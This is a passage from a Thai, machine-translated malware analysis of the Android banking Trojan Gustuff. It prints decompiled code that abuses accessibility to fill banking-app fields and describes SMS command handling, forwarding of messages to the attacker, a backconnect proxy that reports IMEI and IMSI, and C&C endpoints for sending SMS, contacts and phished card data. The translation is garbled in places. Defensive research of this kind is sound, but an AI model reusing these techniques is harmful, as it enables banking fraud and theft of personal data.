                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

ฟังก์ชั่นการแทนที่ข้อความ:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

ดังนั้น ด้วยการกำหนดค่าเซิร์ฟเวอร์ควบคุมที่ถูกต้อง Gustuff จึงสามารถกรอกช่องข้อความในแอปพลิเคชันธนาคารและคลิกที่ปุ่มที่จำเป็นเพื่อทำธุรกรรมให้เสร็จสมบูรณ์ โทรจันไม่จำเป็นต้องเข้าสู่ระบบแอปพลิเคชัน เพียงแค่ส่งคำสั่งเพื่อแสดงการแจ้งเตือน PUSH แล้วเปิดแอปพลิเคชันธนาคารที่ติดตั้งไว้ก่อนหน้านี้ก็เพียงพอแล้ว ผู้ใช้จะตรวจสอบสิทธิ์ตัวเอง หลังจากนั้น Gustuff จะสามารถเติมรถได้

โมดูลประมวลผลข้อความ SMS

แอปพลิเคชันจะติดตั้งตัวจัดการเหตุการณ์สำหรับอุปกรณ์ที่ติดไวรัสเพื่อรับข้อความ SMS แอปพลิเคชันที่อยู่ระหว่างการศึกษาสามารถรับคำสั่งจากโอเปอเรเตอร์ซึ่งมาในเนื้อหาของข้อความ SMS คำสั่งมาในรูปแบบ:

7!5=<%Base64 คำสั่งที่เข้ารหัส%>

แอปพลิเคชันค้นหาสตริงในข้อความ SMS ขาเข้าทั้งหมด 7!5=เมื่อตรวจพบสตริง มันจะถอดรหัสสตริงจาก Base64 ที่ออฟเซ็ต 4 และดำเนินการคำสั่ง คำสั่งจะคล้ายกับคำสั่งที่ใช้ CnC ผลการดำเนินการจะถูกส่งไปยังหมายเลขเดียวกันกับที่คำสั่งมา รูปแบบการตอบกลับ:

7*5=<%Base64 เข้ารหัสของ “result_code command”%>

แอปพลิเคชันสามารถส่งข้อความที่ได้รับทั้งหมดไปยังหมายเลขรูทได้ เมื่อต้องการทำเช่นนี้ ต้องระบุหมายเลขรูทในไฟล์การกำหนดค่าตามความชอบ และต้องตั้งค่าแฟล็กการเปลี่ยนเส้นทางข้อความ ข้อความ SMS จะถูกส่งไปยังหมายเลขของผู้โจมตีในรูปแบบ:

<%จากหมายเลข%> - <%เวลา รูปแบบ: วว/ดด/ปปปป HH:mm:ss%> <%เนื้อความ SMS%>

นอกจากนี้ แอปพลิเคชันยังสามารถส่งข้อความไปยัง CnC ได้อีกด้วย ข้อความ SMS จะถูกส่งไปยังเซิร์ฟเวอร์ในรูปแบบ JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

หากมีการปักธงไว้ ชื่อเครื่องกำเนิดไฟฟ้า ("DEFAULT_APP_SMS") – แอปพลิเคชันหยุดประมวลผลข้อความ SMS และล้างรายการข้อความขาเข้า

โมดูลพร็อกซี

แอปพลิเคชันที่กำลังศึกษาประกอบด้วยโมดูล Backconnect Proxy (ต่อไปนี้จะเรียกว่าโมดูล Proxy) ซึ่งมีคลาสแยกต่างหากที่มีฟิลด์คงที่พร้อมการกำหนดค่า ข้อมูลการกำหนดค่าจะถูกจัดเก็บไว้ในตัวอย่างในรูปแบบที่ชัดเจน:

วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ

การดำเนินการทั้งหมดที่ดำเนินการโดยโมดูลพร็อกซีจะถูกบันทึกไว้ในไฟล์ ในการดำเนินการนี้ แอปพลิเคชันในพื้นที่จัดเก็บข้อมูลภายนอกจะสร้างไดเร็กทอรีชื่อ “บันทึก” (ฟิลด์ ProxyConfigClass.logsDir ในคลาสการกำหนดค่า) ซึ่งเป็นที่เก็บไฟล์บันทึก การบันทึกเกิดขึ้นในไฟล์ที่มีชื่อ:

  1. main.txt – งานของคลาสที่เรียกว่า CommandServer ถูกล็อกอินเข้าสู่ไฟล์นี้ ต่อไปนี้ การบันทึกสตริง str ลงในไฟล์นี้จะแสดงเป็น mainLog(str)
  2. เซสชัน-<%id%>.txt — ไฟล์นี้จะบันทึกข้อมูลบันทึกที่เกี่ยวข้องกับเซสชันพร็อกซีเฉพาะ ต่อไปนี้ การบันทึกสตริง str ไปยังไฟล์นี้จะแสดงเป็น sessionLog (str)
  3. เซิร์ฟเวอร์.txt – ไฟล์นี้ใช้เพื่อบันทึกข้อมูลทั้งหมดที่เขียนลงในไฟล์ที่อธิบายไว้ข้างต้น

รูปแบบข้อมูลบันทึก:

<%Date%> [Thread[<%thread id%>], id[]]: สตริงบันทึก

ข้อยกเว้นที่เกิดขึ้นระหว่างการทำงานของโมดูลพร็อกซีจะถูกบันทึกลงในไฟล์ด้วย เมื่อต้องการทำเช่นนี้ แอปพลิเคชันจะสร้างออบเจ็กต์ JSON ในรูปแบบต่อไปนี้:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

จากนั้นจะแปลงเป็นการแสดงสตริงและบันทึก

โมดูลพร็อกซีถูกเปิดใช้งานหลังจากได้รับคำสั่งที่เกี่ยวข้อง เมื่อได้รับคำสั่งให้เรียกใช้โมดูลพร็อกซี แอปพลิเคชันจะเริ่มบริการที่เรียกว่า บริการหลักซึ่งมีหน้าที่ในการจัดการการทำงานของโมดูล Proxy - เริ่มต้นและหยุดการทำงาน

ขั้นตอนการเริ่มให้บริการ:

1. เริ่มจับเวลาที่ทำงานนาทีละครั้งและตรวจสอบกิจกรรมของโมดูลพร็อกซี หากโมดูลไม่ทำงาน โมดูลจะเริ่มทำงาน
นอกจากนี้เมื่อเหตุการณ์เกิดขึ้น android.net.conn.CONNECTIVITY_CHANGE เปิดตัวโมดูลพร็อกซี

2. แอปพลิเคชันจะสร้าง wake-lock พร้อมพารามิเตอร์ PARTIAL_WAKE_LOCK และจับเขาไว้ สิ่งนี้จะป้องกันไม่ให้ CPU ของอุปกรณ์เข้าสู่โหมดสลีป

3. เรียกทำงานคลาสการประมวลผลคำสั่งของโมดูล Proxy โดยบันทึกบรรทัดก่อน mainLog("เซิร์ฟเวอร์เริ่มต้น") и

เซิร์ฟเวอร์::start() โฮสต์[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

ที่ไหน proxy_cnc, command_port และ proxy_port – พารามิเตอร์ที่ได้รับจากการกำหนดค่าพร็อกซีเซิร์ฟเวอร์

คลาสการประมวลผลคำสั่งเรียกว่า การเชื่อมต่อคำสั่ง. ทันทีหลังจากเริ่มต้น ให้ดำเนินการดังต่อไปนี้:

4. เชื่อมต่อกับ ProxyConfigClass.host: ProxyConfigClass.commandPort และส่งข้อมูลเกี่ยวกับอุปกรณ์ที่ติดไวรัสในรูปแบบ JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

ที่ไหน:

  • id – ตัวระบุ พยายามรับค่าด้วยฟิลด์ "id" จากไฟล์ Shared Preference ที่ชื่อว่า "x" หากไม่สามารถรับค่านี้ได้ ระบบจะสร้างค่าใหม่ ดังนั้น โมดูลพร็อกซีจึงมีตัวระบุของตัวเอง ซึ่งสร้างขึ้นคล้ายกับรหัสบอท
  • imei — IMEI ของอุปกรณ์ หากมีข้อผิดพลาดเกิดขึ้นในระหว่างกระบวนการรับค่า ข้อความแสดงข้อผิดพลาดจะถูกเขียนแทนฟิลด์นี้
  • imsi - ข้อมูลประจำตัวสมาชิกมือถือระหว่างประเทศของอุปกรณ์ หากมีข้อผิดพลาดเกิดขึ้นในระหว่างกระบวนการรับค่า ข้อความแสดงข้อผิดพลาดจะถูกเขียนแทนฟิลด์นี้
  • model — ชื่อที่ผู้ใช้มองเห็นได้สำหรับผลิตภัณฑ์ขั้นสุดท้าย
  • ผู้ผลิต — ผู้ผลิตผลิตภัณฑ์/ฮาร์ดแวร์ (Build.MANUFACTURER)
  • androidVersion - สตริงในรูปแบบ "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • ประเทศ — ตำแหน่งปัจจุบันของอุปกรณ์
  • PartnerId เป็นสตริงว่าง
  • packageName – ชื่อแพ็คเกจ
  • networkType — ประเภทของการเชื่อมต่อเครือข่ายปัจจุบัน (ตัวอย่าง: “WIFI”, “MOBILE”) ในกรณีที่เกิดข้อผิดพลาด จะคืนค่าเป็นโมฆะ
  • hasGsmSupport – จริง – หากโทรศัพท์รองรับ GSM หากไม่ใช่จะเป็นเท็จ
  • simReady - สถานะซิมการ์ด
  • simCountry - รหัสประเทศ ISO (ขึ้นอยู่กับผู้ให้บริการซิมการ์ด)
  • networkOperator — ชื่อผู้ให้บริการ หากมีข้อผิดพลาดเกิดขึ้นในระหว่างกระบวนการรับค่า ข้อความแสดงข้อผิดพลาดจะถูกเขียนแทนฟิลด์นี้
  • simOperator — ชื่อผู้ให้บริการ (SPN) หากมีข้อผิดพลาดเกิดขึ้นในระหว่างกระบวนการรับค่า ข้อความแสดงข้อผิดพลาดจะถูกเขียนแทนฟิลด์นี้
  • version - ฟิลด์นี้ถูกเก็บไว้ในคลาส config สำหรับบอทเวอร์ชันที่ทดสอบนั้นมีค่าเท่ากับ "1.6"

5. สลับไปที่โหมดรอคำสั่งจากเซิร์ฟเวอร์ คำสั่งจากเซิร์ฟเวอร์มาในรูปแบบ:

  • 0 ออฟเซ็ต - คำสั่ง
  • 1 ออฟเซ็ต – sessionId
  • 2 ออฟเซ็ต – ความยาว
  • 4 ออฟเซ็ต - ข้อมูล

เมื่อมีคำสั่งมาถึง แอปพลิเคชันจะบันทึก:
mainLog("ส่วนหัว { sessionId<%id%>], ประเภท[<%command%>], ความยาว[<%length%>] }")

คำสั่งต่อไปนี้จากเซิร์ฟเวอร์เป็นไปได้:

Name คำสั่ง ข้อมูล รายละเอียด
รหัสการเชื่อมต่อ 0 รหัสการเชื่อมต่อ สร้างการเชื่อมต่อใหม่
การนอนหลับ 3 เวลา หยุดโมดูลพร็อกซีชั่วคราว
ปิงปอง 4 - ส่งข้อความ PONG

ข้อความ PONG ประกอบด้วย 4 ไบต์และมีลักษณะดังนี้: 0x04000000.

เมื่อได้รับคำสั่ง ConnectionId (เพื่อสร้างการเชื่อมต่อใหม่) การเชื่อมต่อคำสั่ง สร้างอินสแตนซ์ของคลาส พร็อกซีการเชื่อมต่อ.

  • สองคลาสมีส่วนร่วมในการมอบฉันทะ: พร็อกซีการเชื่อมต่อ и ปลาย. เมื่อสร้างคลาส พร็อกซีการเชื่อมต่อ เชื่อมต่อกับที่อยู่ ProxyConfigClass.host: ProxyConfigClass.proxyPort และส่งวัตถุ JSON:

 {
    "id":<%connectionId%>
}

ในการตอบสนอง เซิร์ฟเวอร์จะส่งข้อความ SOCKS5 ที่มีที่อยู่ของเซิร์ฟเวอร์ระยะไกลซึ่งจะต้องสร้างการเชื่อมต่อ การโต้ตอบกับเซิร์ฟเวอร์นี้เกิดขึ้นผ่านคลาส ปลาย. การตั้งค่าการเชื่อมต่อสามารถแสดงตามแผนผังได้ดังนี้:

วิธีที่ Android Trojan Gustuff ขโมยครีม (คำสั่งและ crypto) จากบัญชีของคุณ

การโต้ตอบกับเครือข่าย

เพื่อป้องกันการวิเคราะห์การรับส่งข้อมูลโดยผู้ดมกลิ่นเครือข่าย สามารถป้องกันการโต้ตอบระหว่างเซิร์ฟเวอร์ CnC และแอปพลิเคชันได้โดยใช้โปรโตคอล SSL ข้อมูลที่ส่งทั้งหมดทั้งจากและไปยังเซิร์ฟเวอร์จะแสดงในรูปแบบ JSON แอปพลิเคชันดำเนินการคำขอต่อไปนี้ระหว่างการดำเนินการ:

  • http://<%CnC%>/api/v1/set_state.php — ผลลัพธ์ของการดำเนินการคำสั่ง
  • http://<%CnC%>/api/v1/get.php - รับคำสั่ง
  • http://<%CnC%>/api/v1/load_sms.php — ดาวน์โหลดข้อความ SMS จากอุปกรณ์ที่ติดไวรัส
  • http://<%CnC%>/api/v1/load_ab.php — การอัปโหลดรายชื่อผู้ติดต่อจากอุปกรณ์ที่ติดไวรัส
  • http://<%CnC%>/api/v1/aevents.php – มีการร้องขอเมื่อทำการอัพเดตพารามิเตอร์ที่อยู่ในไฟล์การตั้งค่า
  • http://<%CnC%>/api/v1/set_card.php — การอัปโหลดข้อมูลที่ได้รับโดยใช้หน้าต่างฟิชชิ่งที่ปลอมแปลงเป็น Google Play Market
  • http://<%CnC%>/api/v1/logs.php – การอัพโหลดข้อมูลบันทึก
  • http://<%CnC%>/api/v1/records.php – การอัพโหลดข้อมูลที่ได้รับผ่านหน้าต่างฟิชชิ่ง
  • http://<%CnC%>/api/v1/set_error.php – การแจ้งข้อผิดพลาดที่เกิดขึ้น

แนะนำ

เพื่อปกป้องลูกค้าจากภัยคุกคามของโทรจันมือถือ บริษัทต่างๆ ต้องใช้โซลูชั่นที่ครอบคลุมที่ช่วยให้พวกเขาสามารถติดตามและป้องกันกิจกรรมที่เป็นอันตรายโดยไม่ต้องติดตั้งซอฟต์แวร์เพิ่มเติมบนอุปกรณ์ของผู้ใช้

ในการดำเนินการนี้ วิธีการที่เป็นเอกลักษณ์ในการตรวจจับโทรจันบนมือถือจำเป็นต้องได้รับการเสริมความแข็งแกร่งด้วยเทคโนโลยีสำหรับการวิเคราะห์พฤติกรรมของทั้งไคลเอนต์และตัวแอปพลิเคชันเอง การป้องกันควรรวมถึงฟังก์ชันระบุอุปกรณ์โดยใช้เทคโนโลยีลายนิ้วมือดิจิทัล ซึ่งจะทำให้สามารถเข้าใจได้เมื่อมีการใช้บัญชีจากอุปกรณ์ที่ผิดปกติและตกไปอยู่ในมือของผู้ฉ้อโกงแล้ว

จุดสำคัญโดยพื้นฐานคือความพร้อมใช้งานของการวิเคราะห์ข้ามช่องทาง ซึ่งช่วยให้บริษัทสามารถควบคุมความเสี่ยงที่เกิดขึ้นไม่เพียงแต่บนอินเทอร์เน็ตเท่านั้น แต่ยังรวมถึงช่องทางมือถือด้วย เช่น ในแอปพลิเคชันสำหรับธนาคารบนมือถือ สำหรับการทำธุรกรรมด้วยสกุลเงินดิจิทัลและอื่น ๆ ที่ การทำธุรกรรมสามารถทำได้ การทำธุรกรรมทางการเงิน

กฎความปลอดภัยสำหรับผู้ใช้:

  • อย่าติดตั้งแอปพลิเคชันสำหรับอุปกรณ์มือถือที่มีระบบปฏิบัติการ Android จากแหล่งอื่นนอกเหนือจาก Google Play ให้ความสนใจเป็นพิเศษกับสิทธิ์ที่ร้องขอโดยแอปพลิเคชัน
  • ติดตั้งการอัปเดตระบบปฏิบัติการ Android เป็นประจำ
  • ใส่ใจกับนามสกุลของไฟล์ที่ดาวน์โหลด
  • อย่าเยี่ยมชมแหล่งข้อมูลที่น่าสงสัย
  • อย่าคลิกลิงก์ที่ได้รับในข้อความ SMS

นำแสดงโดย เซมยอน โรกาเชวาผู้เชี่ยวชาญรุ่นเยาว์ในการวิจัยมัลแวร์ที่ Group-IB Computer Forensics Laboratory

ที่มา: will.com

เพิ่มความคิดเห็น